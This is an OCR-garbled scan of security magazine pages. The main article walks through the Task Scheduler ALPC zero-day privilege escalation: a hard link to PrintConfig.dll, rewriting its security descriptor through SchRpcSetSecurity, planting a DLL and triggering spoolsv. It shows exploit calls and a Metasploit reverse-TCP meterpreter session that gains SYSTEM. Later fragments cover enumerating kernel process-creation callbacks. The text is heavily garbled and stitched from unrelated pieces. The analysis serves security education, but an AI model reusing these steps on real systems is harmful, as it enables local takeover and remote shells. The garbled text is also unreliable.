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Local Privilege Escalation Using Task Scheduler
Service

1 x L FS L X w X ] X

cds 4] s L1418 {tyRO2EQAD AVONBIGS 14 . . 1 X

., ~Advancéd Local Procedure Call = x ZevoDay>y x , . s 11>+« o X
CYYSTEM 1. . 0 X s Y 4 lgxs{ &8s 0§,
.S | s, oy x by X 18 wi Y Sso ] x g . . s ¢
.’ SandboxEscaper TR
| Follow |
[ @SandboxEscaper y

Here is the alpc bug as Oday:
github.com/SandboxEscaper ... |don't
fucking care about life anymore. Neither do |
ever again want to submit to MSFT anyway.
Fuck all of this shit.

[+ <X Fs x X 4s. s ]
I x .| 1y X
's € . . x X .|,,m\|_s|_><.|\(sh‘~xA”I_~ 4o X o XX
Txo - s o x Ay 4 L 1% {"Privilege Escalafidh 1 "xxs _"s PriyilegeBscalation
PSS DX+ o, ssxs 4" | EscaldtionPrvilegel ruw x X< P YL XH
Al s xd s v 4o x4 s e v Al 1 o X L E X e s s
S I 2 S R A O T S IR I (I I S SR T I S - I B
. 141~ x ] R T T e T R | VT B T RN S S N TR [ IR SO
TS L s x e ot sy v d o e
[eed 1.« 2009 »*XBwx« _ “x404Y_ Tui"]
Microsoft +.!! 4 «  x s 4 14 s LRCt Local Procedure Cak (LRC) . -
LPe | .t st o444 s T4 v 47 x "L WindoWwsiNTKernel s . X |
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1”7 _  KerhéiMode- = USeeMode™ 1 1 L s - UsérMotle™ + 1 1 1 L s : {"” T qx

.KernetMode-* Drivers

LPC - + _ I'1 Microsbft Mistas « , , s s *:- Advanced Local Procedure Call (ALPC)
N L. wHLHPAG e _ s" 4 x4 ss_ | WW"xXAPG., Yx T« s 17

ALPG* | X TR W 4 GAPCH . | L kAL e s S

~ ~

LSASSI 11 s: +  ALPC. ¢ _Wihldgon T
v d e x s kAl des s . ALPE L f _Windlows L X« e x o1 0 1 x x4

~n

X e x4 X x ey - 14 x _ _ sSecerilty D&scriptor Secdrity Descriptor , * s« x
s ¢ Sl L xRS s XY XY X ] X x e s X s f 4
T T D o U B , + 1Séclrity Desriptor, « » « 7 X 1 . X _
Owner SID 1
Group SID 1

DiscretionaryAccesgontrol List (DACL) 1
SystemAccesgontrol List (SACL) 1

SACKDACL , *~ _ _ ACh) .sx 4y (-~ «* :Security Descriptor, ., * I *

X e X D 0 s D {SID-Security ldentifier{SIDy 11 * « s
T
Security descriptor
Owner SID
Group SID

Discretionary ACL (DACL)
Access allow/deny permissions

System ACL (SACL)
Audit entries
Mandatory label

[F44~-«4, + 411" _SecuritysDestriptorc 1 5 ]s ¥ « 1!
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s x 1 ¢x., 1 _ SDDH Stitn- Security Descriptor Definition Language Strin§DD)
sy x I 1. SetdtityDescriptor*., « - -7 L,

O:owner_sid
G:group_sid
D:dacl_flags(string_acel)(string_ace?2)
S:sacl_flags(string_acel)(string_ace?2)

F

OXXSDDLquﬂ ]swy,)(>dxA

0O:S-1-5-21- 2093731422- 2129986928- 4024234085- 1001

G:S-1-5-21-2093731422- 2129986928- 4024234085- 513
D:Al(A;ID;FA;;;SY)(A;ID;FA;;;BA)(A;ID;FA;;:S -1-5-21-2093731422- 2129986928-
4024234085- 1001)

S: Al(AU;OICINPFA;RPDTSDWD;;;BU)(AU;OICINPSA;CCSWRPDTLOSD:;;;BU)

Lot o, dxe o 1«44 x <« L+« SACHSystem-Aécéss CohtrolList (SAGL) ¥ _
OwnerSIB -~ 11 ys 4 | +4x 1< 44Xxc x ¥ {7 Lo X
LY S . oX X X . . . . Lo S L f% ¥ ACE- . X1 LXs X, x s|_=-|>§J-|WW ¥ 7ox

Tad 4%y

o s s s x4 1 {DACLA Distretianary Aceess Control Isist (PACL
T4 4Xx s 4y A 1
.<account, accesfghts> . . s _ ACL-q - x s
Access Control Entries (ACE) ~ ACE* <account, accssrights>s o« . . I~ 1 |
L S« ¥ o4 ISACKH *xsa 11y T 1DIACK s SACL DACL ~ 1 * I *s
104 4% x.
t 1ACE. AC, s _ 1Y s s 1 _ » MAC€B- Access Control Entries (ACE)
1440 0 x4 SIBs T x X ACBssl gID Securityldentifier-x Access Rightst s« x X
s 4y HACEB 94 4x s L p 4t xxXye{xx 7 5IDS. ACES X { s
(%%« Txy ) 1474
- ACE . .SecurityDescriptor* SACXDACL - ~ | ACE’Strings _ _ - _SDDL ACE Strings
() N S XLl Ixx o oxo L XXs WX r 4« SDDL X L _

ace_typeace_flaggightsobject_guidinherit_object_guidaccount_sid
s ¥ xACE STRING
D:(A;OICIIO;SDGXGWGR;;;AU)

ace_type: ACCESS_ALLOWED_ACE_TYPE
ace_flags: OBJECT_INHERIT_ACE
CONTAINER_INHERIT_ACE
INHERIT_ONLY_ACE

Local Privilege Escalation Using Task Scheduler Service
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rights: DELETE
GENERIC_EXECUTE
GENERIC_WRITE
GENERIC_READ

account_sid: SDDL_AUTHENTICATED_USERS

2 ST "k 4L *SoftLinkHardLink
FAXX L oS X1 ws T x X 4 x  Paidkink ] s 47

[ NN L TRV N LN S Caxs sy 1Yy s =Uoxo X FOXw X 1X o«

~

Lod4s X x o .ox “Hardlink 4~ & Lk T8 X4 %24 T4 s

FXOa X DX ooy v L X 1. x._s X xS Lo FoX - SoftLink § x *
T4 _ s =7 x|*
. Softlink content
PS:;::I_.I;: E:I P caontaining Path to
) P PrintFile.dll
-
-~
-
-

-

‘J"

PrintFile.dll \
PrintFile.dll content
/p on Disk
HardLink to PrintFile.dll

[softink = hafdlink ~+44*L I * s s T« s, 4 X s s Ly 1]

Local Privilege Escalation Using Task Scheduler Service
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s L X 1 s L P s
Job' x4 s x4 .o 4 WihdowsR000 ¥ x 1 x o 1 TaskiSgheduler 1.0
- X s x 4o ox

‘ C:\ Windows Tasks |

CXsOXMLIST™XX X X x (] Vista 4 x " s . 3TaskScheduler 2.0
‘ C:\ Windows system32\ Tasks |

.TaslsScheduler . _ x4 _ _ v, s 14 _ x I[TaskSchedulerSeryiced_ . B _~ , , . ~ .

X« s 1 {SeclritysDescriptes sw { | ¥ _ SchRpeSetSecufity+ @ x { . i1« s =

.S sS4 L v s 1« L'schRpeSetSe¢utlty S 4 <k T x X p4s {1 s, L]
(SDD)s~ x X I x . ,ss 1ox

HRESULT SchRpcSetSecurity(
[in, string] const wchar_t* path,
[in, string] const wchar_t* sddl,
[in] DWORD flags

)1
"job" X x <« v 1 {Task Secheduler:! x.* $chRpcSétSecurity s 4 « « " x > x4
SuXs s q 40X
‘ C:\ Windows Task |
. X Hardlink ~ x < 4 L R B , S 414 Floo S - X0 qd L x 1A P
(- %_d%L s . x{ i~ *x . Hardlsink ¥ X« d1X < s ). X ). o
BN C\Windows\systern32\cmd.exe — O x
c:\>cacls c:\Windows\Tasks ~
c:\Windows\Tasks NT AUTHORITY\Authenticated Users:(special access:)
READ_CONTROL
SYNCHRONIZE
FILE_GEMERIC READ
FILE_GEMERIC_ EXECUTE
FILE_READ DATA
FILE_WRITE_DATA
FILE READ EA
FILE_EXECUTE
FILE_READ ATTRIBUTES
BUILTIN\Administrators:F
BUILTIN\Administrators: (0OI){CI){IO)F
NT AUTHORITY\SYSTEM:F
NT AUTHORITY\SYSTEM: (OI)(CI){(IO)F
NT AUTHORITY\SYSTEM:F
CREATOR OMWNER: (OI)(CI)(IO)F
i v

[ s 4 $#« BecurityDescriptors: + ¥ { « s lcacls™ _ _x _ 1 _]

Local Privilege Escalation Usifask Scheduler Service
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. x I's spoolsvexe W45 s L Print@ohfig.dll_-~HardLink _ « * " x4 « L XS
* +  Spootsv.exe 1 1 . StarteXpsRrintJob s 1 « « " x X oA T e ) T K
PrintConfig.dll s 4 4 ~» , s

~ _UpdateTask.job , * BACEs : « . 4| ¥YSchRpcSétSecunitys 4 « « 7 x ~* 1 s
StartXpsPrintJobs 1 « « 7 x * . DLE*x #1411 sc0 PrintConfig.dllecix  ~ | X «
SYSTEM: 1 .~ _ = x~« s>  DLES L+ .~ spodlsV.exe | {1 1s: s S Lo,

o -CreateNativeHardLink()  C\Windows\Tasks\UpdateTask job  C\Windows\*\PrintConfig.dll
-- Link to DLL

o -SchRpcSetSecurity()

o -WriteFile(PrintConfig.dll)

o -XpsPrintlob()

-- Load hijacked DLL

Local Privilege Escalation Using Task Scheduler Service
www.DigitalWhisper.co.il
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LeXx s qi~ s*{I ] Hardlink Xx* %« _Hd. 4 SHA~HS s <

>

~

S

L

. PeintConfig.dll . * X « S i« 4L TS LS4t a5 0S4 ¥S SX fspan xXT |

X " 4% s . x _{ spoolsv.eXe” 1 1 L XpsPtintJob * 1 . <« 7 x X

r
° ~ A~ > ~

‘PrintConfig.dll , * * CYWINDOWSTASKSs { 1 « 1s: UpdateTaskijob _

X

~

CreateNativeHardlink(Source, Destination)

CreateNativeHardlink(L"c:\\windows\\tasks\\UpdateTask.job", L"C:\\Windows\\System32\\DriverStore »

\\FileRepository\\prnms8e3.inf amd64 d953389ec763tcc7\\Amd64\\PrintConfig.dl1");

[s.{\“”x)s L X,‘i~]

X « . sPri;Configldis + x BpdateTask , * x « DACE : - o4 by 40

;sv y x | , " . X < . FoA . . L. " oLoXx X X PR
ACE Strings:
Template: ace_type ;ace_flags ;rights ; object guid ;inherit_object guid ; account_sid

Example: D:( A;OICIIO;SDGXGWGR;;;AY

ace_type: ACCESS_ALLOWED_ACE_TYPE

ace_flags: OBJECT_INMERIT_ACE
CONTAINER_INHERIT_ACE
INHERIT_ONLY_ACE

rights: DELETE
GENERIC_EXECUTE
GENERIC_WRITE
GENERIC_READ

account_sid: SDDL_AUTHENTICATED_USERS

_SchRpcCreateFolder(handle, L"UpdateTask", L"D:(A;;FA;;;BA)(A;0ICIIO;GA;;;BA)
(A3 3FA3;53SY)(A;OICIIO;GA;;;SY)(A;;08x1301bT; ;3AU) (A30ICIIO; SDGXGWGR; ; ;AU)
(A;;0x1200a9;;;BU) (A;0ICIIO;GXGR;;;;BU)Y", B);

_SchRpcSetSecurity(handle, L"UpdateTask", L"D:(A;;FA;;;BA){(A;0ICIIO;GA;; ;BA)
(A;3FA3;53SY)(A;O0ICIIO;GA;;;SY) (A ;0x1301bT; ;5 3AU) (A30ICITO; SDGXGWGR; ; ;AU)
(A} 3;0x12080a9;;;BU) (A;0ICIIO;GXGR; ;;BU)Y", B);

[.*%X«sS . x* SPDLS 44 34 .~ x*

Local Privilege Escalation Using Task Scheduler Service
www.DigitalWhisper.co.il
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Mame: CAWindows\Systern32\DriverStore\FileRepositon/prnms003.inf_amd64_d953309ec703fccMAmded PrintCenfig.dll
Owner Trustedinstaller ) Change
Permissions Auditing Effective Access

For additional information, double-click a permission entry. Te modify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
S8 Allow  Trustedinstaller Full control None
S8 Allow  Administrators (DESKTOP-U30TE1M\Admini.. Read & execute None
SR Allow  SYSTEM Full control None
S8 Allow  Users (DESKTOP-U3O7E14\Users) Read & execute None
Allow  ALL APPLICATION PACKAGES Read & execute MNone
Allow  ALL RESTRICTED APPLICATION PACKAGES Read & execute MNone

[DACL 1 x " DLLEs 1 {Security Descriptots

Mame: CAWindows\System32\DriverStore\FileRepositony\ prnms003.inf_amd64_d933308ec763fcc T AMdENPrintCenfig.dil
Owner: Trustedinstaller ) Change
Permissions Auditing Effective Access

For additicnal information, double-click a permission entry. To moedify a permission entry, select the entry and click Edit (if available).

Permission entries:

Type Principal Access Inherited from
SR Allow  Administrators (DESKTOP-U30TE14\Admini... Full control Mone
SR Allow  SYSTEM Full control Mone
SR Allow  Authenticated Users Muodify Mone
SR Allow  Users (DESKTOP-U3OTE14\ Users) Read & execute MNone
SR Allew  Administrators (DESKTOP-U30TE1S\Admini.. Full control Parent Object
S8 Allow  SYSTEM Full centrol CAWindows'\System32\DriverStorel,
S8 Allow  Trustedinstaller Full contral Parent Object

[DACL 4 x " 4 DLLs~ 1.SecurityDescriptor$

« -8 X4« ¢ PrntConfig.dl _ X x 8 4 J XX s o DX
T4 txesxxy o Doxo s PriftCodfig.diss i YL TS Ll L1 ex T
s 4L sis, IsfqQss, X% Lo ©ox s x Xy sPrintCenfig.dib s *

SYSTEM: | ~» - X «spoelsv.&éxe , ~

Local Privilege Escalation Using Task Scheduler Service
www.DigitalWhisper.co.il
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:Metasploit +.! 1 -~ Metetpreter . Payload . 1 | DLE*

a ~

Property Value
File Name ChAWindows\System 32\ DriverStore\FileRepositony prnms003.inf_amd...
File Type Portable Executable 64
File Info Mo match found.
File Size 2.76 MB (2896896 bytes)
PE Size 2.76 MB (2896896 bytes)
Created Friday 2% September 2017, 16.40.59
Modified Friday 2% September 2017, 16.40.59
Accessed Friday 2% September 2017, 16.40.59
MD3 TCD1DSEESSF40FBD3IET2ETEF19038BED
SHA-1 41132 CTFDCE3A40RAART CI3BCEIFCRLE26ATEDI3
[ GFF ExplorgDLL , * x « s+ _IPESides * 41 {17
Property Value
Eile Name sitony\prams003.inf_amdéd_d953300ecT63f cc T\ Amded\PrintConfig.dl] ‘
File Type Portable Executable &4
File Info Me match found.
File Size 2.76 MB (2896896 bytes)
PE Size 5.00 KB (3120 bytes)
Created Friday 29 September 2017, 16.40.59
Modified Sunday 02 September 2018, 20.08.20
Accessed Friday 29 September 2017, 16.40.59
MD35 CB29CD4C187BTCE7419BDDEFE34886E4
SHA-1 38C31FBROEBTRDCTICRCI433AT2CE212174206EF
[(CFF ExplorgDLL , * x w5 | PESiz¢ 11 .1+
"x 1 ] DLES <1 sT 1 XpsPrintdobs 1 « « 7 XXPS Print ARl " x 4 -
:SYSTEM: | . =+ x+« gpoolsvéxd d « $ L ¥ >

msf > use multi/handler

msf exploit(handler) > set payload windows/x64/meterpreter/reverse tcp
payload == windows/x64/meterpreter/reverse tcp

msf exploit{handler) > set lhost 0.0.0.0

lhost == 0.0.0.0

msf exploit(handler) = set lport 4444

lport == 4444

msf exploit(handler) = run

[#] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (205379 bytes) to 192.168.157.129
[#] Meterpreter session 1 opened (192.168.157.128:4444 -> 192.168.157.1

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter > |_|

[(Metasploit Framework — x X« 1 oa ssy¥Meterpreter ¥ XPayload* _ x] A

+ 1 PrintConfig.dis

1k x4 0

S

L

Local Privilege Escalation Using Task Scheduler Service
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e.E’ Process Explorer - Sysinternals: www.sysinternals.com [DESKTOP-USOT7E14\Lelipop] -
File Optiocns View Process Find Users Help
CIRCIE =100y ST X R | . e JI |
Process CPU  Private Bytes | Warking Set  PID  Description Company Name Inteqrity
Bﬁcmd.exe 1,936 K 3080 K 4856 Windows Command Processor Microsoft Corporation Medium
[ conhost exe 6024 K 18,072 K 7736 Console Window Host Microsoft Corporation Medium
@ Onelrive exe 17.560 K 56704 K 7500 Microsoft OneDrive Microzoft Comporation Medium
E@iexplcre.exe 00 14128 K 55084 K 6076 Intemet Explorer Microzoft Comporation Medium
iexplore exe 0.01 16,888 K 43824 K 3988 Intemet Explorer Microsoft Comparation Low
undl32.exe 284 Windows host process (Run... Microsoft Corporation
Q?procexpﬁd.exe 0 18,644 K 38,560 K 4148 Sysintemals Process Explorer  Sysintemals - www sysinter... High
[(Process ExplorgSystem : x « _ . Metenpretér « _ 14 1L s ¢
FXol A
s’vyxll_ , XL DX . .S S : X wd JeaXly S L LX | 4x & xss ] %X
s14_ s x> (PowetPod -~ !'d ~  ¥eoDays: Y ~®* 4 _ 4 . _
x 1 _s L 1us-GoggleUpdate.exe + x s Ll xs XX XK S X, s L
X s X X y X < . S X%
< Microsoft s« » " S A FHL x0T Alxqg ¥y L« Ix L1 Ixoo o bx
R T o K B R T
2 -
CTH ~ ¥ -« 4 . *x 1s x 7ooex N LTl Y S O x 1.
oo s X4 x o Tx Do x s Reverse Engineeting Malwate* xx{ (x s L x |y
. X, X .
1 https://msdn.microsoft.com/erus/library/cc246052.aspx
 https://www.safaribooksonline.com/library/view/windowsnternalsfifth/9780735625303/ch03s06.html
 https://www.kb.cert.org/vuls/id/906424
1 https://docs.microsoft.com/erus/windows/desktop/secauthz/sigtrings
 https://blogs.technet.microsoft.com/askds/2008/04/181e-securitydescriptordefinition-languageof-love-
part-1/
9  https://docs.microsoft.com/erus/windows/desktop/secauthz/securitgdescriptordefinition-language
 http://clintboessen.blogspot.com/2011/04/whatslifferencebetweenaclacedacl.html
 https://msdn.microsoft.com/enus/library/jj663148.aspx
1 https://www.bleepingcomputer.com/news/security/windowtaskscheduletzero-day-exploitedby-

malwaréd

LocalPrivilege Escalation Using Task Scheduler Service
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https://msdn.microsoft.com/en-us/library/cc246052.aspx
https://www.safaribooksonline.com/library/view/windows-internals-fifth/9780735625303/ch03s06.html
https://www.kb.cert.org/vuls/id/906424
https://docs.microsoft.com/en-us/windows/desktop/secauthz/sid-strings
https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-part-1/
https://blogs.technet.microsoft.com/askds/2008/04/18/the-security-descriptor-definition-language-of-love-part-1/
https://docs.microsoft.com/en-us/windows/desktop/secauthz/security-descriptor-definition-language
http://clintboessen.blogspot.com/2011/04/whats-difference-between-acl-ace-dacl.html
https://msdn.microsoft.com/en-us/library/jj663148.aspx
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
https://www.bleepingcomputer.com/news/security/windows-task-scheduler-zero-day-exploited-by-malware/
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« X X
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1« %X gX] 1" L XEx s x © o, T 1" x| S, Lo
PLu e A s e e e sy e Al se o YT

.S L - S S J” AF?J_XX NFV'I:,’~XSXLV SE X o X v 'I 'IHX\ ‘I .l . -||_

Deoxd s x soSx T Lx o4 Al 4. b es DX

~ a ~ ~ A~

D * Fauxpersky 4 x "4 1L s ¢ s.Ox s s, ql L s xx

¢

1. X4y s 4 41 s o v« s T4 ] xs - AuteHotKey , - x 47 A
x4 xs |l ¢€s

I oovd ox kA XA ] X ] 2 XS OXYT eSO R T Yyxeos Ty

A T U T S IS S I S T IR R N S P B

Lol xn g 4 X sy x o x T X ax e Ho e H o D xS X ]

S X P T

~

NETL - ~ ~

A

[T Y N s ol 48 LNET-S X 4,%! 7 x < x7"s . s o7

~ ~ ~

L ~ S 12000 ~ 1" Miftrosoft 41 "  _ s ¥ XFramework « ANET . * x . « X . s X!

IGxx 1 Tx 14 L. _ux tx o ws o NETLAST" ks RS0 v o4

~ ~

CSTX xSl D4 I XX D DX ] DSGE A G L L% X
DX 4L T XL X @ kS S XRET) KX D XX xTgsx o ]s Dox
cx 4, bx D x cBuzzword® « p ] X S b d 0 v d o s o XD 4 X 0 X k]
Linuxe ¢ ¥ =X 17 WINHOWS S L« SSX ) | G i ST 4 o4 s x I ]is s
* 4 Vidual Stadies . ¢ » X ¢ . 4 X T 1 s MoAo¥ L « 1. 1 # MACOSL ™ (
11 L XX A S, xAPl fx 4 N TR o ss 4L 4d | x A
(T s A A x s Bl XEXE X X« 0 AT I xos o4 4 x

“w L NET-" « Sux ¢4 x4 7«
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https://www.cybereason.com/blog/fauxpersky-credstealer-malware-autohotkey-kaspersky-antivirus
https://www.mono-project.com/
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, S 1 x 11 ol s S ke, Y ey Yy x
(G Lo+ 1l EXE, TS Lo s 44 ox o bx xS 17«
X X T X e s s, (X S aaaS L] L XX X S Cx
1, +«74% xXxTrt XC % _« J X x o X<  pdPEAY OEXE e, "
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PsSetCreateProcessNotifyRoutine function

04/30/2018 - & 2 minutes to read

The PsSetCreateProcessNotifyRoutine routine adds a driver-supplied callback routine to, or removes it from, a list of routines to be

called whenever a process is created or deleted.

Syntax

NTKERNELAPI NTSTATUS PsSetCreateProcesshotifyRoutine(
PCREATE_PROCESS_NOTIFY_ROUTINE MNotifyRoutine,
BOOLEAN Remove

)i

Parameters

NotifyRoutine

Specifies the entry point of a caller-supplied process-creation callback routine. See PCREATE PROCESS NOTIFY ROUTINE.

Remove

Indicates whether the routine specified by NotifyRoutine should be added to or removed from the system’s list of notification
routines. If FALSE, the specified routine is added to the list. If TRUE, the specified routine is removed from the list.
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function

04/30/2018 - @ 2 minutes to read

internal state.

Syntax

PCREATE_PROCESS_NOTIFY ROUTINE PcreateProcessNotifyRoutine;

void PcreateProcesshotifyRoutine(
HANDLE ParentId,
HANDLE ProcessId,
BOOLEAN Create

)
{2}

Parameters
ParentId

The process ID of the parent process.
ProcessId

The process ID of the process.
Create

Indicates whether the process was created (TRUE) or deleted (FALSE).

Warning The actions that you can perform in this routine are restricted for safe calls. See Best Practices.

PCREATE_PROCESS_NOTIFY_ROUTINE callback

Process-creation callback implemented by a driver to track the system-wide creation and deletion of processes against the driver's
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v L VX St A v 1 . X,, .S

A4S . s
S .
is . s
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Process 1B) - Dl XM X sl s

|~ VExeS~ 1 _ 1178

L ] L ERROCESS " #{ $« 4 Handid ¥ ds v s 411 , %4
"X exes a4 (X : Lo CHandleXs !X w LK L XL Ty

a v o~

ZwQuerylnformatignProcess

CreateProcessNotify(HANDLE
l(

NTSTATUS status =

PUNICODE_STRING procName =

HANDLE hProc = F

PEPROCESS eproc

PVOID info;

ULONG retlen = 8;

status = PslLookupProcessByProcessTd( » %eproc);
(status))

status = ObOpenObjectByPointer(eproc, @, ., 8, 8, KernelMode, &hProc);
(! (status))

\

{

DbgPrint(“0ObOpenObjectByPointer Failed : ¥88X\r\n", status);
primt;

(eproc);

DbgPrint("PsLookupProcessByProcessId Failed: ¥88x\n", status);

print;

status = ZwQueryInformationProcess(hProc, ProcessImageFileMame, s 8, &retlen);

info = ExAllocatePoolWithTag(NonPagedPool, retlen,
(info == )
print;

status = ZwQueryInformationProcess(hProc, ProcessImageFileMame, info, retlen, &retlen);
(! (status))

ExFreePoolWithTag(info,
print;

procName = (PUNICODE_STRING)info;

)

DbgPrint(“Process ¥wZ created\r\n”, procName);

DbgPrint(“Process ¥wZ ended\r\n", procName);

F}

)

DbgPrint(“Process ¥d created\r\n");

DbgPrint(“Pro %d ended\r\n");
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DbgPrint s 4 « «

Enable Verbose

_ *Callbatle _ - - F

N

oft Corporation.

start procmon
_NAME: procmon

PE KERNEL_DRIVER
RUNNING

(STOPPABLE,. NOT_PAUSABLE.

FLAGS

C:\Users\Daniel>

L Callbacke L :

Capture Kernel + 1 * « _ s

All rights

7 X Unloads 1 ~ H ¢ «
1.1

SO T

X L L L J X " x

S « . . DbgViewX]ii s, X" x

| = O X

IGNORES _SHUTDOUN)>

# DebugView on \WIN-PPLUPRHDIN? (local) I

Edit Capture

&d@d | ]

Options Computer Help
SG» A BBY| 9F | A

r”

S

% s s
Sysinternals  DbyView 4 o 1 *
* 1 4 Kefnél Output

-

Time

[

o

o

R
NNRNNNNRONRONNNNN

WWWWWWwWwo o o wh B P

NN

Debug Print
.81900787 Process \Device\H Program
.16040802 Process \Device)\ 1\Program
.49308968 Process \Device\H umel\Program
.86453247 Process \Device\HarddiskVolumel\Program
.67438889 Process \Device\HarddiskVolw
.19774818 Process \Device\HarddiskVol:
.04939270 Process \Device\HarddiskVolume
.77666092 Process \Device\HarddiskVolum
.78490257 Process \Device\HarddiskVol:
.04214096 Process \Device\HarddiskVolumel\Program
.06599045 Process \Device\HarddiskVolumel\Program
.30588531 Process \Device\HarddiskVolumel\Program
51719284 Process \Device\HarddiskVolt 1\Program
85699272 Process \Device\HarddiskVolumel\Program
86762810 Process \Device\HarddiskVolum Program
87076759 Process \Device\HarddiskVolumel\Program

Files\Sublime Text 3\sublime text.exe ended

Files\Sublime Text 3\plugin_host.exe ended

Files\Google\Chrome\Application\chrome.
Files\Google\Chrome\Application\chrome.
n Files\Google\Chrome\Application\chrome.
» Files\Google\Chrome\Application\chrome.
» Files\Google\Chrome\Application\chrome.
iBE
n Files\Google\Chrome\Application\
Files\Google\Chrome\Application\chrome.
Files\Google\Chrome\Application\chrome.
Files\Google\Chrome\Application\chrome.
Files\Google\Chrome\Application\chrome.
Files\Google\Chrome\Application\chrome.
iles\Google\Chrome\Application\chrome.
Files\Google\Chrome\Application\chrome.

s\Google\Chrome\Application\

hrome.

hrome.

exe
exe
exe
exe
exe
exe
exe

created
created
created
created
created
created
created
ended
ended
ended
ended
ended
ended
ended
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Technologic

1lexes” x (] {a s XA

oY

X v @

x X\BeviceHartldiskVdlumels ;s> {: " s>«

A

-Sybolielink = « {1 "

~ S L X

File View Help
ERERVRY Name ¢ Type SymLink i
| ArcName [#] ACPIZFixedButton®2..  SymbaolicLink \Device\0000005e |E|
| BaseMarmedObjects - . . T
Callback @ACPI#GenumeIntel_-_... SymbolicLink *Device\00000054
'D;i:; [@ACPIzGenuinntel ... SymbolicLink \Device\00000055
) Harddickn @ACPI#PNPU303#4&19... SymbolicLink Y Device\000000 a6
1 Hitp @ACPI#PNPUSUI#?L#-{!M... SymbolicLink YDevice\000000aa
I Ide @ACPI#PNPUSUI#I#-{SE... SymbolicLink YDevice\000000aa
_____ Driver [ ACPI#VMWO003#481 .. SymbolicLink \Device\000000a7
.. || FileSystem @Agile‘u‘PN Symboliclink "Device\AgileVPN
..... . GLOBAL?? @AscKmd SymbolicLink YDevice\AscKmd
..... . KernelObjects @AUX SymbolicLink Y DosDevices\COML
----- , KnownDlls SymbolicLink " Device\HarddiskVolumel
----- , NLS @CdRomU Symboliclink "Device\CdRom0
----- , ObjectTypes @COMI SymbolicLink Device\Seriall
----- . RPC Control @CompositeBattery SymbolicLink YDevice\CompositeBattery
----- | Security [# D SymbolicLink ‘Device\CdRemD
> |y Sessions o [#pbgv SymbolicLink “Device\Dbgv
i UMDFCommunicationPorts [@DISPLAYEDefault_Mo... SymbolicLink "Device\000000af
| Windows [#]DISPLAYZDefault_Mo... SymbolicLink " Device\000000 af -
\GLOBALINC:
170 s Al Iss Xy H. _AVsxProcmon {1~ x7 4+, |

+ Th

reads -~ x * Y

r4s+4 X, Images - 7

X

L

~ ~ ~

FoAd o Xe A AR IS s o x L 8 L g Py e X

1, 1" ¥YPsSetCreateThteadNotifyRoutine + ¥ x

1.

PsSetCreateProcessNotifyRouting 4 « « 7 X

>

L A

-s , X v .8 P 1 | PsSetCreateProcessNotifyRoutineExs~s.. « "
FoloXos T AN o X4 e v 4.1« 4. 1Calback L X« X
1., x s x 4 <7 x 0 w4441 Calbacks [ "7 1 4
x4 ox s 1 s Callbagk L _x RSC XA s Al 4 os 4 x4 L
XA 4 0 o xDxe o T T x s xS
_|~va S,.,A”,., X « 4 X
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Procmon. = x * ¥ { -

1-1+7 (+ 1 Cdllbaek® 1 _* -4+~ 1+~ 1 ProcmdAae X x )4 x 7 >*x ] A
b ox 14~ s 1] FooL , XA A 14 vx v 7 X

A v ~ ~

Callback {1~ , _ v +x %%l s {354 PsSetCreatePlocessNotifyRoutine 1 « « ” x s

FXs X XL x "o s 4 v« " Proctmondd 1 s Céallhacglks | XX o uxI™ 0 ] 10
pv s X o 4 x> 0 s T D Rrdemon L 1S4 Y T Ixx s
X'-I”Vs X_I ‘”X>S \~ L

x40 N . X w1 1] FY XWIinDbgt X X 0 X4 wWTIX o ss ] P
r Windows 7 x64 ¥ x r 1 <Remote KérrtellDelugging: ~ ¢~ e € s "x -l
I U T S N BT S N e A e T H R S S

~ . PspCreateProcessNotifyRoutine x s Callbacks; Lo 1. s RS XL v qs

s1ox o Windbg [~ ¢ X ¢ Xy

| x nt!lPspCreateProcessNotifyRoutine |

1 . S L X X X 1 . X «
s | % ” 1. S =] x .
| dp PspCreateProcessNotifyRoutine |
dp s ! x Prcofon.. . ~xs s {7 4* T xgGallbacksx . X X, 4 kKX sT

o4 I " x . 149> dibplay pointer ‘. X « - X:v A k4 + 4 s

1 s 4« 17" x s Ps8etCreateProcessNotifyRouting ¥ «  « x I > *x {7107

~ > ~ >

XL ZSXXZ;J\X‘VL Ll x " ] ] x ] .

0: kd> u nt!PsSetlreateProcessHotifyRoutine
nt!PsSetCreateProcessHotifyRoutine:

FEFEFE00 " 02ed23c0 453320 HOX r8d,r8d
fEfff800 " 02ed23c3 ef9=8fdffff Jmp nt!PspSectCreateProcessNotifyRoutine (E££f£ff800°02ed21kb0)
1 64 + 1~ 1 PspSetCleateProcessNotifyRouting 4 « « 7 x | S, X s o xS

.(-Bz_xxx | Ty 1 s I v L X 1o

~ v ~
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nt ! PspSetCreateProcesslocifyRoutine+0x33:
FEfEFF300 02ed21e3 6€5488b3c2588010000 mov rdi,gword ptr gs:[188h]

EEfEFfF300 02ed2lec 83cBfE or eax, OFFFFFFFFh
EEfEFfF800° 02ed2lef €60187c4010000 add word ptr [rdi+lC4h],ax
EFEfEEE£300° " 02ed21f6 4c8d358355deff  1lea rl4, [nt'PspCreateProcessNotifyRoutine| (£££££f800°02c3bT780) ]
1 X I s e 1L .1 X L DX x I ]s R v 40X s 11
. X . ” -n ”
L. X xils s e 4,1« s earld!. Seedxl xfo. x uss o {IMe 14T L

11 ¢ s P

sNot
(SunstrFu

AR )pCheckfrea + 4, 4);
+ off

DbgPrint wtine orin”, pCheckArea);
(i = pCheckArea; i < a + exff;

LCallback ~ « 7 sy 4x XXX 4 ls ] LXX gLl sl

~ ~ ~ A A

x "Callpack® x * x « Prodmonl s . X

I Proomdn + .~ *4 4.1 s Lo Sox xoxoo ] osCallBagkx L1 X e v ST X X XS o

& -~ XL Galback” L oS4 .Tx s IxXxIo|olo X 4ol ]
b4 X 4 Callbadks | kL e ¥ X Do S XD | SOXfg 7 s 1

f Source: https://doxygen.reactos.org/de/d22/ndk_2extypes_8h_scurce.html#leas4s

¢ Internal Callback Handle

typedef struct _EX_CALLBACK
{

EX_FAST_REF RoutineBlock;
} EX_CALLBACK, *PEX_CALLBACK;

nt!_EX_CALLBACK (15063.0.amd64fre.rs2_release.170317-1834).h hosted with W by GitHub view raw
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nt!_EX_CALLBACK

+8x@88 RoutineBlock : _EX_FAST_RE

=

_EX_CALLBACK* CallBack = &PspCreateProcessNotifyRoutine[Index];

